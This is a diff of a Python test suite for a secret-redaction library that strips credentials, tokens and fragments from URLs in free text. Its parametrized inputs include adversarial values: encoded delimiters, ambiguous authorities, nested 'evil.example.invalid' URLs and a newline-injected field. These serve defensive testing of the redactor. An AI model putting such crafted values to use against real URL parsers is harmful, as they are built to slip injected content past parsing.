api.redact_text_result(value) == api.TextRedactionResult( - value=api.REDACTED_URL, - complete=True, - candidates=1, - reason=None, - ) - assert api.redact_text(value, max_candidates=0) == api.REDACTED_REMAINDER - sanitized = api.redact_text(value) - assert "secret" not in sanitized - assert api.redact_text(sanitized) == sanitized - - -def test_cargo_sparse_url_preserves_safe_scheme_host_and_path() -> None: - api = _api() - raw = "sparse+https://user:sparse-secret@packages.example.invalid/index/" - - assert api.redact_url(raw) == ("sparse+https://REDACTED@packages.example.invalid/index/") - - -@pytest.mark.parametrize( - ("raw", "expected"), - [ - ( - "ftp://user:ftp-secret@packages.example.invalid/private", - "ftp://REDACTED@packages.example.invalid/private", - ), - ( - "custom+pkg://user:custom-secret@packages.example.invalid/private", - "custom+pkg://REDACTED@packages.example.invalid/private", - ), - ( - "https://user:'apostrophe-secret@packages.example.invalid/private", - "https://REDACTED@packages.example.invalid/private", - ), - ], -) -def test_generic_hierarchical_schemes_and_apostrophe_userinfo_are_sanitized( - raw: str, - expected: str, -) -> None: - api = _api() - - assert api.redact_url(raw) == expected - - -def test_unknown_scheme_without_sensitive_components_remains_unchanged() -> None: - api = _api() - raw = "ftp://packages.example.invalid/private?channel=stable" - - assert api.redact_url(raw) == raw - - -def test_email_followed_by_colon_prose_is_not_treated_as_scp_git_syntax() -> None: - api = _api() - text = "Contact dev@example.invalid:today or dev@example.invalid: today." - - assert api.redact_url("dev@example.invalid:today") == "dev@example.invalid:today" - assert api.redact_text(text) == text - - -@pytest.mark.parametrize( - "raw", - [ - "https://user:malformed-secret@[broken.example.invalid/repo", - "https://user:port-secret@packages.example.invalid:notaport/repo", - "https://user:percent-secret@packages.example.invalid/repo?to%ZZken=value-secret", - ], -) -def test_malformed_suspicious_urls_fail_closed_without_throwing(raw: str) -> None: - api = _api() - - redacted = api.redact_url(raw) - - assert redacted == api.REDACTED_URL - assert "secret" not in redacted.lower() - - -@pytest.mark.parametrize( - "raw", - [ - "https://user:range-secret@packages.example.invalid:99999/repo", - "https://user:ipv6-secret@[2001:db8::1/repo", - "https://user:nfkc-secret@exam\uff0fple.invalid/repo", - "https://first:multiple-secret@second@packages.example.invalid/repo", - "https://user:slash-secret@packages.example.invalid\\@other.invalid/repo", - "https://user:control-secret@packages.example.invalid/repo\nInjected: value", - ], -) -def test_ambiguous_authorities_and_urlsplit_normalization_traps_fail_closed(raw: str) -> None: - api = _api() - - redacted = api.redact_url(raw) - - assert redacted == api.REDACTED_URL - assert "secret" not in redacted.lower() - - -@pytest.mark.parametrize( - "raw", - [ - "https://user:empty-port-secret@packages.example.invalid:/repo", - "https://user:encoded-colon-secret@packages%3Aevil.example.invalid/repo", - "https://user:encoded-at-secret@packages%40evil.example.invalid/repo", - "https://user:encoded-slash-secret@packages%2Fevil.example.invalid/repo", - "https://user:encoded-query-secret@packages%3Fevil.example.invalid/repo", - "https://user:encoded-fragment-secret@packages%23evil.example.invalid/repo", - "https://user:encoded-control-secret@packages%00evil.example.invalid/repo", - "https://user:encoded-space-secret@packages%20evil.example.invalid/repo", - "https://user:unbracketed-secret@2001:db8::1/repo", - "https://user:bad-bracket-secret@[not-ipv6]/repo", - "https://user:empty-host-secret@:443/repo", - "scp-bracket-secret@[not-ipv6]:org/repo.git", - ], -) -def test_ambiguous_authority_delimiters_ports_and_bracket_hosts_fail_closed(raw: str) -> None: - api = _api() - - redacted = api.redact_url(raw) - - assert redacted == api.REDACTED_URL - assert "secret" not in redacted.lower() - - -def test_query_redaction_preserves_nonsensitive_raw_order_duplicates_blanks_flags_and_encoding() -> ( - None -): - api = _api() - raw = ( - "https://packages.example.invalid/simple?" - "channel=one&token=token-secret&channel=two&blank=&flag&encoded=a%2Fb&" - "API%5FKEY=key-secret&%74oken=decoded-secret" - ) - - redacted = api.redact_url(raw) - - assert redacted == ( - "https://packages.example.invalid/simple?" - "channel=one&token=REDACTED&channel=two&blank=&flag&encoded=a%2Fb&" - "API%5FKEY=REDACTED&%74oken=REDACTED" - ) - - -def test_query_redaction_preserves_mixed_ampersand_semicolon_delimiters() -> None: - api = _api() - raw = ( - "https://packages.example.invalid/simple?" - "channel=one;apikey=semicolon-secret&flag;token=second-secret;blank=&channel=two" - ) - - redacted = api.redact_url(raw) - - assert redacted == ( - "https://packages.example.invalid/simple?" - "channel=one;apikey=REDACTED&flag;token=REDACTED;blank=&channel=two" - ) - assert "semicolon-secret" not in redacted - assert "second-secret" not in redacted - - -@pytest.mark.parametrize( - "query_key", - [ - "monkey", - "MONKEY", - "Monkey", - "monKey", - "%6Donkey", - "compass", - "COMPASS", - "Compass", - "comPass", - "%63ompass", - "tokenizer", - "TOKENIZER", - "Tokenizer", - "%74okenizer", - "secretary", - "SECRETARY", - "Secretary", - "%73ecretary", - "registrytokenizer", - "clientsecretary", - "dbauthor", - "accesskeyboard", - "requestsignatory", - "passwordless", - "keynote", - "privatekeyboard", - "authorizationtokenizer", - ], -) -def test_ambiguous_query_key_substrings_are_conservatively_redacted( - query_key: str, -) -> None: - api = _api() - raw = f"https://packages.example.invalid/simple?{query_key}=visible-value" - - redacted = api.redact_url(raw) - - assert redacted.endswith(f"?{query_key}=REDACTED") - assert "visible-value" not in redacted - - -def test_nested_hierarchical_uri_in_query_fails_closed_without_leaking_userinfo() -> None: - api = _api() - sentinel = "nested-query-uri-secret-c8b2" - text = ( - "Use https://safe.example.invalid/path?next=" - f"https://user:{sentinel}@evil.example.invalid/repo now." - ) - - redacted = api.redact_text(text) - - assert redacted == f"Use {api.REDACTED_URL} now." - assert sentinel not in redacted - - -def test_nested_scp_uri_in_query_fails_closed_without_leaking_userinfo() -> None: - api = _api() - sentinel = "nested-scp-query-secret-14da" - text = ( - "Use https://safe.example.invalid/path?next=" - f"{sentinel}@evil.example.invalid:org/repo.git now." - ) - - redacted = api.redact_text(text) - - assert redacted == f"Use {api.REDACTED_URL} now." - assert sentinel not in redacted - - -@pytest.mark.parametrize("query_key", ["%FFtoken", "to%00ken", "%2574oken"]) -def test_ambiguous_or_control_bearing_query_keys_fail_closed(query_key: str) -> None: - api = _api() - sentinel = "ambiguous-key-value-secret-b712" - - redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") - - assert redacted == api.REDACTED_URL - assert sentinel not in redacted - - -def test_query_key_bounds_accept_exact_decoded_and_raw_limits_and_reject_one_over() -> None: - api = _api() - sentinel = "bounded-key-value-secret-65e3" - exact_decoded = ("a" * 251) + "token" - exact_raw = ("%61" * 251) + "%74%6F%6B%65%6E" - over_decoded = "a" + exact_decoded - over_raw = "x" + exact_raw - - assert len(exact_decoded) == 256 - assert len(exact_raw) == 768 - for query_key in (exact_decoded, exact_raw): - redacted = api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") - assert redacted.endswith(f"?{query_key}=REDACTED") - assert sentinel not in redacted - for query_key in (over_decoded, over_raw): - assert ( - api.redact_url(f"https://packages.example.invalid/simple?{query_key}={sentinel}") - == api.REDACTED_URL - ) - - -def test_embedded_urls_are_redacted_without_changing_surrounding_free_text() -> None: - api = _api() - sentinel = "embedded-secret-741e" - raw_url = f"https://user:{sentinel}@packages.example.invalid/private?channel=stable" - text = f"Use registry {raw_url} for the build, then continue." - - redacted = api.redact_text(text) - - assert redacted == ( - "Use registry https://REDACTED@packages.example.invalid/private?channel=stable " - "for the build, then continue." - ) - assert sentinel not in redacted - - -@pytest.mark.parametrize( - ("token", "sentinel"), - [ - ( - "1https://alice:leading-digit-secret@host.invalid/path", - "leading-digit-secret", - ), - ( - "-https://alice:leading-hyphen-secret@host.invalid/path", - "leading-hyphen-secret", - ), - ( - "://alice:missing-scheme-secret@host.invalid/path", - "missing-scheme-secret", - ), - ( - "http:://alice:double-colon-secret@host.invalid/path", - "double-colon-secret", - ), - ( - "https_://alice:underscore-scheme-secret@host.invalid/path", - "underscore-scheme-secret", - ), - ], -) -def test_malformed_hierarchical_tokens_fail_closed_as_one_bounded_span( - token: str, - sentinel: str, -) -> None: - api = _api() - - redacted = api.redact_text(f"Use {token} now.") - - assert redacted == f"Use {api.REDACTED_URL} now." - assert sentinel not in redacted - - -@pytest.mark.parametrize( - ("text", "_previous_exact_output"), - [ - ( - 'link', - 'link', - ), - ( - 'link', - 'link', - ), - ( - "link", - "link", - ), - ( - "link", - "link", - ), - ( - "link", - "link", - ), - ( - 'x="https://host.invalid/path"; next', - 'x="https://host.invalid/path"; next', - ), - ( - 'x="https://alice:assignment-secret@host.invalid/path"; next', - 'x="https://REDACTED@host.invalid/path"; next', - ), - ( - "const registry=`https://alice:tick-source-secret@host.invalid/path`; next", - "const registry=`https://REDACTED@host.invalid/path`; next", - ), - ( - "[https://host.invalid/path](mailto:dev@example.invalid)", - "[https://host.invalid/path](mailto:dev@example.invalid)", - ), - ( - "[https://alice:markdown-secret@host.invalid/path](mailto:dev@example.invalid)", - "[https://REDACTED@host.invalid/path](mailto:dev@example.invalid)", - ), - ( - "[dev](mailto:dev@example.invalid)[site](https://host.invalid/path)", - "[dev](mailto:dev@example.invalid)[site](https://host.invalid/path)", - ), - ( - "[dev@example.invalid](https://alice:reverse-markdown-secret@host.invalid/path)", - "[dev@example.invalid](https://REDACTED@host.invalid/path)", - ), - ( - 'x="https://host.invalid/path";y="dev@example.invalid"', - 'x="https://host.invalid/path";y="dev@example.invalid"', - ), - ( - 'x="https://alice:code-secret@host.invalid/path";y="dev@example.invalid"', - 'x="https://REDACTED@host.invalid/path";y="dev@example.invalid"', - ), - ( - 'const x="https://host.invalid/path"+"dev@example.invalid/path";', - 'const x="https://host.invalid/path"+"dev@example.invalid/path";', - ), - ( - 'const x="https://alice:concat-secret@host.invalid/path"+"dev@example.invalid/path";', - 'const x="https://REDACTED@host.invalid/path"+"dev@example.invalid/path";', - ), - ], -) -def test_ambiguous_markup_and_source_tokens_are_masked_deterministically( - text: str, - _previous_exact_output: str, -) -> None: - api = _api() - redacted = api.redact_text(text) - - assert api.REDACTED_URL in redacted - assert api.redact_text(redacted) == redacted - for sentinel in ( - "html-secret", - "html-unquoted-secret", - "assignment-secret", - "tick-source-secret", - "markdown-secret", - "reverse-markdown-secret", - "code-secret", - "concat-secret", - ): - assert sentinel not in redacted - - -@pytest.mark.parametrize( - ("text", "_previous_exact_output"), - [ - ( - '{"url":"https://host.invalid/path","enabled":true}', - '{"url":"https://host.invalid/path","enabled":true}', - ), - ( - '{"url":"https://user:json-secret@host.invalid/path","enabled":true}', - '{"url":"https://REDACTED@host.invalid/path","enabled":true}', - ), - ( - '["https://host.invalid/one","https://host.invalid/two"]', - '["https://host.invalid/one","https://host.invalid/two"]', - ), - ( - '["https://user:first-array-secret@one.invalid/x",' - '"https://user:second-array-secret@two.invalid/y"]', - '["https://REDACTED@one.invalid/x","https://REDACTED@two.invalid/y"]', - ), - ], -) -def test_minified_json_url_tokens_are_masked_as_ambiguous_provider_context( - text: str, - _previous_exact_output: str, -) -> None: - api = _api() - redacted = api.redact_text(text) - - assert redacted == api.REDACTED_URL - assert api.redact_text(redacted) == redacted - assert "json-secret" not in redacted - assert "array-secret" not in redacted - - -def test_paired_punctuation_survives_fragment_removal() -> None: - api = _api() - text = "Open [https://user:fragment-secret@host.invalid/path#private-fragment], next." - - assert api.redact_text(text) == ("Open [https://REDACTED@host.invalid/path], next.") - - -def test_embedded_url_fragment_is_removed_without_swallowing_trailing_prose_punctuation() -> None: - api = _api() - text = ( - "Fetch (https://user:punctuation-secret@packages.example.invalid/private" - "#fragment-secret), then continue." - ) - - assert api.redact_text(text) == ( - "Fetch (https://REDACTED@packages.example.invalid/private), then continue." - ) - - -@pytest.mark.parametrize( - ("text", "expected"), - [ - ( - "Use 'https://user:quoted-secret@packages.example.invalid/private'.", - "Use 'https://REDACTED@packages.example.invalid/private'.", - ), - ( - "Use `https://user:tick-secret@packages.example.invalid/private`.", - "Use `https://REDACTED@packages.example.invalid/private`.", - ), - ( - 'Use "https://user:double-secret@packages.example.invalid/private".', - 'Use "https://REDACTED@packages.example.invalid/private".', - ), - ( - "Use https://user:'userinfo-secret@packages.example.invalid/private now.", - "Use https://REDACTED@packages.example.invalid/private now.", - ), - ], -) -def test_embedded_quotes_are_preserved_while_apostrophes_inside_userinfo_are_redacted( - text: str, - expected: str, -) -> None: - api = _api() - - redacted = api.redact_text(text) - - assert redacted == expected - assert api.redact_text(redacted) == redacted - assert "secret" not in redacted - - -@pytest.mark.parametrize("delimiter", ['"', "`", "<"]) -def test_invalid_userinfo_delimiters_cannot_leave_a_raw_secret_suffix( - delimiter: str, -) -> None: - api = _api() - sentinel = "delimiter-userinfo-secret-9e41" - text = f"Use https://user:{delimiter}{sentinel}@packages.example.invalid/private now." - - redacted = api.redact_text(text) + redacted = api.redact_url(raw) - assert redacted == f"Use {api.REDACTED_URL} now." - assert sentinel not in redacted + assert redacted == "https://packages.example.invalid/REDACTED_PATH" + for sentinel in ( + "alice", + "supersecret", + "private", + "querysecret", + "fragmentsecret", + "channel", + ): + assert sentinel not in redacted @pytest.mark.parametrize( - ("text", "_previous_exact_output"), + ("raw", "expected"), [ ( - 'x="https://user:123"quoted-suffix-secret@host.invalid/path"', - 'x="[REDACTED_URL]"', + "http://user:secret@packages.example.invalid:8080/simple?channel=stable#part", + "http://packages.example.invalid:8080/REDACTED_PATH", ), ( - "x=`https://user:123`tick-suffix-secret@host.invalid/path`", - "x=`[REDACTED_URL]`", + "ssh://git:secret@git.example.invalid/org/repo.git?ref=main#readme", + "ssh://git.example.invalid/REDACTED_PATH", ), ( - 'x="https://user:123"unclosed-suffix-secret@host.invalid/path', - 'x="[REDACTED_URL]', + "git+https://git:secret@git.example.invalid/org/repo.git?ref=main", + "git+https://git.example.invalid/REDACTED_PATH", ), - ], -) -def test_apparent_wrapper_inside_incomplete_userinfo_cannot_expose_its_suffix( - text: str, - _previous_exact_output: str, -) -> None: - api = _api() - - redacted = api.redact_text(text) - - assert redacted == api.REDACTED_URL - assert "suffix-secret" not in redacted - - -@pytest.mark.parametrize("separator", ["+", "=", ",", ";", ":"]) -def test_apparent_wrapper_cannot_use_userinfo_punctuation_to_expose_a_later_at_sign( - separator: str, -) -> None: - api = _api() - text = f'x="https://user:123"quoted{separator}suffix-secret@host.invalid/path"' - - redacted = api.redact_text(text) - - assert redacted == api.REDACTED_URL - assert "suffix-secret" not in redacted - - -@pytest.mark.parametrize( - "text", - [ - 'x="https://user:123"}suffix-secret@host.invalid/path"', - 'x="https://user:123","suffix-secret@host.invalid/path"', - ], -) -def test_apparent_wrapper_structural_shortcuts_cannot_expose_a_later_at_sign( - text: str, -) -> None: - api = _api() - - redacted = api.redact_text(text) - - assert api.REDACTED_URL in redacted - assert "suffix-secret" not in redacted - - -def test_angle_bracket_prose_wrapper_is_preserved_around_a_sanitized_url() -> None: - api = _api() - text = "Use ." - - assert api.redact_text(text) == ("Use .") - - -@pytest.mark.parametrize( - ("text", "expected"), - [ ( - "Use //user:relative-prose-secret@packages.example.invalid/private now.", - "Use [REDACTED_URL] now.", + "sparse+https://user:secret@index.example.invalid/crates#metadata", + "sparse+https://index.example.invalid/REDACTED_PATH", ), ( - "Use (//user:relative-wrapper-secret@packages.example.invalid/private), now.", - "Use [REDACTED_URL], now.", + "//user:secret@packages.example.invalid/private?channel=stable#part", + "//packages.example.invalid/REDACTED_PATH", ), ( - "Use (//packages.example.invalid/private), now.", - "Use (//packages.example.invalid/private), now.", + "https://user:secret@[2001:db8::1]:8443/private?channel=stable", + "https://[2001:db8::1]:8443/REDACTED_PATH", + ), + ( + "git-user@git.example.invalid:org/repo.git?ref=main#readme", + "REDACTED@git.example.invalid:REDACTED_PATH", ), ], ) -def test_free_text_scheme_relative_attempts_are_one_bounded_candidate( - text: str, +def test_simple_urls_drop_query_fragment_and_userinfo_but_keep_safe_origin_path( + raw: str, expected: str, ) -> None: - api = _api() - - result = api.redact_text_result(text, max_candidates=1) - - assert result == api.TextRedactionResult(expected, True, 1, None) - assert api.redact_text(text, max_candidates=0).endswith(api.REDACTED_REMAINDER) - assert "secret" not in result.value - - -def test_bare_scheme_relative_token_masks_the_remaining_ambiguous_context() -> None: - api = _api() - text = "prefix // user:whitespace-secret@packages.example.invalid" - - result = api.redact_text_result(text, max_candidates=1) - - assert result == api.TextRedactionResult("prefix [REDACTED_URL]", True, 1, None) - assert "secret" not in result.value - assert api.redact_text(text, max_candidates=0) == "prefix [REDACTED_REMAINDER]" + assert api.redact_url(raw) == expected @pytest.mark.parametrize( - "text", + ("raw", "expected"), [ - "// comment", - "// dev@example.invalid", - "// dev%40example.invalid", - "prefix // comment text", - "prefix // dev@example.invalid", + ("https://packages.example.invalid", "https://packages.example.invalid"), + ("https://packages.example.invalid/", "https://packages.example.invalid/"), + ("//packages.example.invalid/", "//packages.example.invalid/"), ], ) -def test_bare_double_slash_comment_controls_are_preserved_exactly(text: str) -> None: - api = _api() - - assert api.redact_text_result(text) == api.TextRedactionResult( - value=text, - complete=True, - candidates=0, - reason=None, - ) +def test_empty_or_root_paths_are_the_only_path_contents_retained( + raw: str, + expected: str, +) -> None: + assert api.redact_url(raw) == expected @pytest.mark.parametrize( - "text", + "raw", [ - "//: user:colon-prefix-secret@packages.example.invalid/path", - "// user:encoded-prefix-secret%40packages.example.invalid/path", - "// user%3Aencoded-prefix-secret%40packages.example.invalid/path", - "prefix // user:encoded-prefix-secret%40packages.example.invalid/path", - "// token=assignment-prefix-secret@packages.example.invalid", - "// token%3Dassignment-prefix-secret%40packages.example.invalid", - "// port-prefix-secret@packages.example.invalid:8443", - "prefix // bracket-prefix-secret@[2001:db8::1]", - "//: user:encoded-prefix-secret%40packages.example.invalid/path", - "prefix //? /x?token=query-prefix-secret", - "/// /x?token=slash-prefix-secret", - "//; user=semicolon-prefix-secret@packages.example.invalid/path", + "https://user%3Asecret%40packages.example.invalid/private", + "https://packages.example.invalid/private%2Fsecret", + "https%3A%2F%2Fuser%3Asecret%40packages.example.invalid%2Fprivate", + "https://user:secret@packages.example.invalid/private?next=https://evil.invalid/x", + "https://packages.example.invalid/private?next=user@evil.invalid:org/repo.git", + "https://one.invalid/x,https://two.invalid/y", + "https://first:secret@second@packages.example.invalid/private", + "https://packages.example.invalid:bad/private", + "https://[not-an-ipv6-address]/private", + "([https://user:secret@packages.example.invalid/private])", + '{"url":"https://user:secret@packages.example.invalid/private"}', ], ) -def test_incomplete_scheme_relative_attempt_masks_remaining_context(text: str) -> None: - api = _api() - prefix = "prefix " if text.startswith("prefix ") else "" - - assert api.redact_text_result(text, max_candidates=1) == api.TextRedactionResult( - value=f"{prefix}{api.REDACTED_URL}", - complete=True, - candidates=1, - reason=None, - ) - assert api.redact_text(text, max_candidates=0) == f"{prefix}{api.REDACTED_REMAINDER}" - assert "secret" not in api.redact_text(text) - - -@pytest.mark.parametrize("value", ["//:", "//?", "///", "//;"]) -def test_incomplete_scheme_relative_exact_values_fail_closed(value: str) -> None: - api = _api() - - assert api.redact_url(value) == api.REDACTED_URL +def test_encoded_malformed_nested_or_mixed_candidates_are_whole_masked(raw: str) -> None: + assert api.redact_url(raw) == api.REDACTED_URL + assert "secret" not in api.redact_url(raw) @pytest.mark.parametrize( "text", [ - "x=//packages.example.invalid/private", - 'href="//packages.example.invalid/private"', - "x//packages.example.invalid/private", + "ordinary // comment", + "path a//b remains ordinary", + "email dev@example.invalid remains ordinary", + "Unicode ☃ and punctuation stay byte-for-byte unchanged.", ], ) -def test_assignment_markup_and_interior_syntax_are_not_parsed_as_relative_references( - text: str, -) -> None: - api = _api() - - result = api.redact_text_result(text) - - assert result == api.TextRedactionResult( +def test_ordinary_no_match_text_is_unchanged(text: str) -> None: + assert api.redact_text_result(text) == api.TextRedactionResult( value=text, complete=True, candidates=0, @@ -1129,279 +126,39 @@ def test_assignment_markup_and_interior_syntax_are_not_parsed_as_relative_refere ) -@pytest.mark.parametrize( - "text", - [ - "x=//user:relative-assignment-secret@packages.example.invalid/private", - 'href="//user:relative-attribute-secret@packages.example.invalid/private"', - "x//user:interior-token-secret@packages.example.invalid/private", - "x=//packages.example.invalid/private#relative-fragment-secret", - "href=//packages.example.invalid/private?token=relative-query-secret", - ], -) -def test_ambiguous_assignment_markup_and_interior_tokens_fail_closed(text: str) -> None: - api = _api() - - assert api.redact_text_result(text) == api.TextRedactionResult( - value=api.REDACTED_URL, - complete=True, - candidates=1, - reason=None, - ) - assert "secret" not in api.redact_text(text) - - -@pytest.mark.parametrize( - ("text", "expected"), - [ - ( - "Use 'scp-wrapper-secret@git.example.invalid:repo.git' now.", - "Use 'REDACTED@git.example.invalid:repo.git' now.", - ), - ( - "Use scp-punctuation-secret@git.example.invalid:repo.git, now.", - "Use REDACTED@git.example.invalid:repo.git, now.", - ), - ], -) -def test_simple_scp_wrappers_and_punctuation_do_not_hide_dot_git_candidates( - text: str, - expected: str, -) -> None: - api = _api() - - assert api.redact_text(text) == expected - - -@pytest.mark.parametrize( - ("text", "expected"), - [ - ( - "Open (https://[2001:db8::1]:8443/index), then continue.", - "Open (https://[2001:db8::1]:8443/index), then continue.", - ), - ( - "Open (https://user:ipv6-embedded-secret@[2001:db8::1]:8443/index), then.", - "Open (https://REDACTED@[2001:db8::1]:8443/index), then.", - ), - ( - "See [https://user:bracket-secret@packages.example.invalid/private].", - "See [https://REDACTED@packages.example.invalid/private].", - ), - ], -) -def test_embedded_ipv6_authority_brackets_and_paired_prose_closers_are_preserved( - text: str, - expected: str, -) -> None: - api = _api() - - assert api.redact_text(text) == expected - - -def test_ordinary_no_match_text_is_byte_for_byte_unchanged() -> None: - api = _api() - text = "Keep punctuation, Unicode ☃, paths ./src, and email dev@example.invalid exactly." - - assert api.redact_text(text) == text - - -def test_default_text_bound_preserves_large_benign_provider_content() -> None: - api = _api() - text = "ordinary provider context\n" * 5_000 - - assert len(text) > 100_000 - assert api.MAX_REDACTION_CHARACTERS == 16 * 1024 * 1024 - assert api.redact_text(text) == text - - -def test_repeated_false_scp_prefixes_are_processed_in_linear_tokens() -> None: - api = _api() - atom = "a@h:x" - text = ",".join([atom] * 20_000) - - started = perf_counter() - result = api.redact_text_result(text) - elapsed = perf_counter() - started - - assert result.value == text - assert result.complete is True - assert result.candidates == 0 - assert elapsed < 2.0 - - -def test_dense_ambiguous_url_envelope_is_processed_once_and_fails_closed() -> None: - api = _api() - text = "[" + ",".join(f'"https://host.invalid/{index}"' for index in range(400)) + "]" - - started = perf_counter() - result = api.redact_text_result(text, max_candidates=400) - elapsed = perf_counter() - started - - assert result == api.TextRedactionResult( - value=api.REDACTED_URL, - complete=True, - candidates=400, - reason=None, +def test_text_scanner_supports_only_one_simple_paired_prose_wrapper() -> None: + raw = ( + "Use (https://user:secret@packages.example.invalid/private?channel=stable#part), " + "not ([https://nested:secret@other.example.invalid/x])." ) - assert api.redact_text(result.value) == result.value - assert elapsed < 2.0 - - -def test_benign_16_mib_text_uses_the_constant_time_candidate_fast_path( - monkeypatch: pytest.MonkeyPatch, -) -> None: - api = _api() - text = "x" * api.MAX_REDACTION_CHARACTERS - - def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: - pytest.fail("candidate scanner should not run for benign text") - - monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) - started = perf_counter() - result = api.redact_text_result(text) - elapsed = perf_counter() - started - - assert result.value is text - assert result.complete is True - assert result.candidates == 0 - assert result.reason is None - assert elapsed < 2.0 - -def test_nested_benign_text_uses_the_same_candidate_fast_path( - monkeypatch: pytest.MonkeyPatch, -) -> None: - api = _api() - text = "nested benign provider context" * 4_000 - - def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: - pytest.fail("candidate scanner should not run for benign nested text") - - monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) - - assert api.redact_value( - {"body": text}, - max_nodes=2, - max_text_characters=len(text), - ) == {"body": text} - - -class _CopyCountingString(str): - copied_characters: int - - def __new__(cls, value: str) -> _CopyCountingString: - instance = super().__new__(cls, value) - instance.copied_characters = 0 - return instance - - def __getitem__(self, key: int | slice) -> str: - result = super().__getitem__(key) - if isinstance(key, int): - character = _CopyCountingString(result) - character.copied_characters = self.copied_characters - return character - return result - - def __add__(self, other: str) -> _CopyCountingString: - result = _CopyCountingString(super().__add__(other)) - result.copied_characters = ( - self.copied_characters + getattr(other, "copied_characters", 0) + len(self) + len(other) - ) - return result - - -class _FindSpanCountingString(str): - requested_characters: int - - def __new__(cls, value: str) -> _FindSpanCountingString: - instance = super().__new__(cls, value) - instance.requested_characters = 0 - return instance - - def find( - self, - sub: str, - start: int = 0, - end: int | None = None, - ) -> int: - limit = len(self) if end is None else min(end, len(self)) - self.requested_characters += max(0, limit - start) - return super().find(sub, start, len(self) if end is None else end) - - -def test_trailing_punctuation_is_detached_without_repeated_suffix_copying() -> None: - api = _api() - value = _CopyCountingString("https://host.invalid/path" + ("." * 1_000)) - - candidate, punctuation = api._detach_trailing_prose_punctuation(value, None) - - assert candidate == "https://host.invalid/path" - assert punctuation == "." * 1_000 - assert getattr(punctuation, "copied_characters", 0) <= len(value) * 2 - - -def test_text_redaction_fails_closed_when_candidate_or_character_bound_is_exhausted() -> None: - api = _api() - first_secret = "first-bound-secret" - second_secret = "second-bound-secret" - text = ( - f"https://user:{first_secret}@one.example.invalid/repo " - f"https://user:{second_secret}@two.example.invalid/repo" + assert api.redact_text(raw) == ( + "Use (https://packages.example.invalid/REDACTED_PATH), not [REDACTED_URL]." ) - candidate_bounded = api.redact_text(text, max_candidates=1) - character_bounded = api.redact_text(text, max_characters=24) - - assert first_secret not in candidate_bounded - assert second_secret not in candidate_bounded - assert api.REDACTED_REMAINDER in candidate_bounded - assert first_secret not in character_bounded - assert second_secret not in character_bounded - assert api.REDACTED_REMAINDER in character_bounded - -def test_candidate_signal_budget_has_exact_one_over_and_zero_behavior() -> None: - api = _api() - text = ( - "https://user:first-budget-secret@one.invalid/x " - "https://user:second-budget-secret@two.invalid/y" +def test_separate_whitespace_tokens_are_sanitized_independently() -> None: + raw = ( + "mirror https://user:first-secret@one.example.invalid/x?token=one " + "then git-user@two.example.invalid:org/repo.git#second-secret" ) - assert api.redact_text(text, max_candidates=2) == ( - "https://REDACTED@one.invalid/x https://REDACTED@two.invalid/y" - ) - assert api.redact_text(text, max_candidates=1) == ( - f"https://REDACTED@one.invalid/x {api.REDACTED_REMAINDER}" + assert api.redact_text(raw) == ( + "mirror https://one.example.invalid/REDACTED_PATH " + "then REDACTED@two.example.invalid:REDACTED_PATH" ) - assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER -def test_scheme_relative_candidates_have_exact_budget_usage_without_double_charging() -> None: - api = _api() - text = ( - "//user:first-relative-budget-secret@one.invalid/x " - "https://user:absolute-budget-secret@two.invalid/y " - "//three.invalid/z?token=third-relative-budget-secret" - ) - - exact = api.redact_text_result(text, max_candidates=3) - one_over = api.redact_text_result(text, max_candidates=2) - zero = api.redact_text_result(text, max_candidates=0) +def test_multiple_candidates_in_one_token_are_whole_masked_or_exhaust_the_remainder() -> None: + raw = "https://one.invalid/x,https://two.invalid/y" - assert exact == api.TextRedactionResult( - value=("[REDACTED_URL] https://REDACTED@two.invalid/y [REDACTED_URL]"), + assert api.redact_text_result(raw, max_candidates=2) == api.TextRedactionResult( + value=api.REDACTED_URL, complete=True, - candidates=3, - reason=None, - ) - assert one_over == api.TextRedactionResult( - value=(f"[REDACTED_URL] https://REDACTED@two.invalid/y {api.REDACTED_REMAINDER}"), - complete=False, candidates=2, - reason=api.TextRedactionIncompleteReason.CANDIDATE_LIMIT, + reason=None, ) - assert zero == api.TextRedactionResult( + assert api.redact_text_result(raw, max_candidates=1) == api.TextRedactionResult( value=api.REDACTED_REMAINDER, complete=False, candidates=0, @@ -1409,355 +166,173 @@ def test_scheme_relative_candidates_have_exact_budget_usage_without_double_charg ) -def test_scheme_relative_ipv6_userinfo_is_one_candidate_not_an_scp_candidate() -> None: - api = _api() - text = "//user:relative-ipv6-budget-secret@[2001:db8::1]:8443/private" +def test_candidate_budget_is_aggregate_and_exact_limit_succeeds() -> None: + raw = "https://user:first-secret@one.invalid/x https://user:second-secret@two.invalid/y" - assert api.redact_text_result(text, max_candidates=1) == api.TextRedactionResult( - value=api.REDACTED_URL, + assert api.redact_text_result(raw, max_candidates=2) == api.TextRedactionResult( + value="https://one.invalid/REDACTED_PATH https://two.invalid/REDACTED_PATH", complete=True, - candidates=1, + candidates=2, reason=None, ) - assert api.redact_text(text, max_candidates=0) == api.REDACTED_REMAINDER - - -def test_large_interior_double_slash_text_stays_bounded_and_off_the_candidate_scanner( - monkeypatch: pytest.MonkeyPatch, -) -> None: - api = _api() - text = " ".join(["src/a//b.py"] * 50_000) - - def unexpected_scan(*_args: Any, **_kwargs: Any) -> Any: - pytest.fail("candidate scanner should not run for interior double slashes") - - monkeypatch.setattr(api, "_redact_text_with_usage", unexpected_scan) - started = perf_counter() - result = api.redact_text_result(text) - elapsed = perf_counter() - started - - assert result.value is text - assert result.complete is True - assert result.candidates == 0 - assert elapsed < 2.0 + one_over = api.redact_text_result(raw, max_candidates=1) + assert one_over.value == api.REDACTED_REMAINDER + assert one_over.complete is False + assert one_over.candidates == 1 + assert one_over.reason is api.TextRedactionIncompleteReason.CANDIDATE_LIMIT -def test_structured_text_result_distinguishes_literal_placeholder_from_exhaustion() -> None: - api = _api() +def test_structured_result_distinguishes_literal_placeholder_from_real_exhaustion() -> None: literal = api.redact_text_result(api.REDACTED_REMAINDER) - literal_with_prefix = api.redact_text_result(f"prefix {api.REDACTED_REMAINDER}") exhausted = api.redact_text_result( - "https://user:structured-result-secret@host.invalid/path", - max_candidates=0, - ) - exhausted_with_prefix = api.redact_text_result( - "prefix https://user:structured-result-secret@host.invalid/path", + "prefix https://user:secret@host.invalid/path", 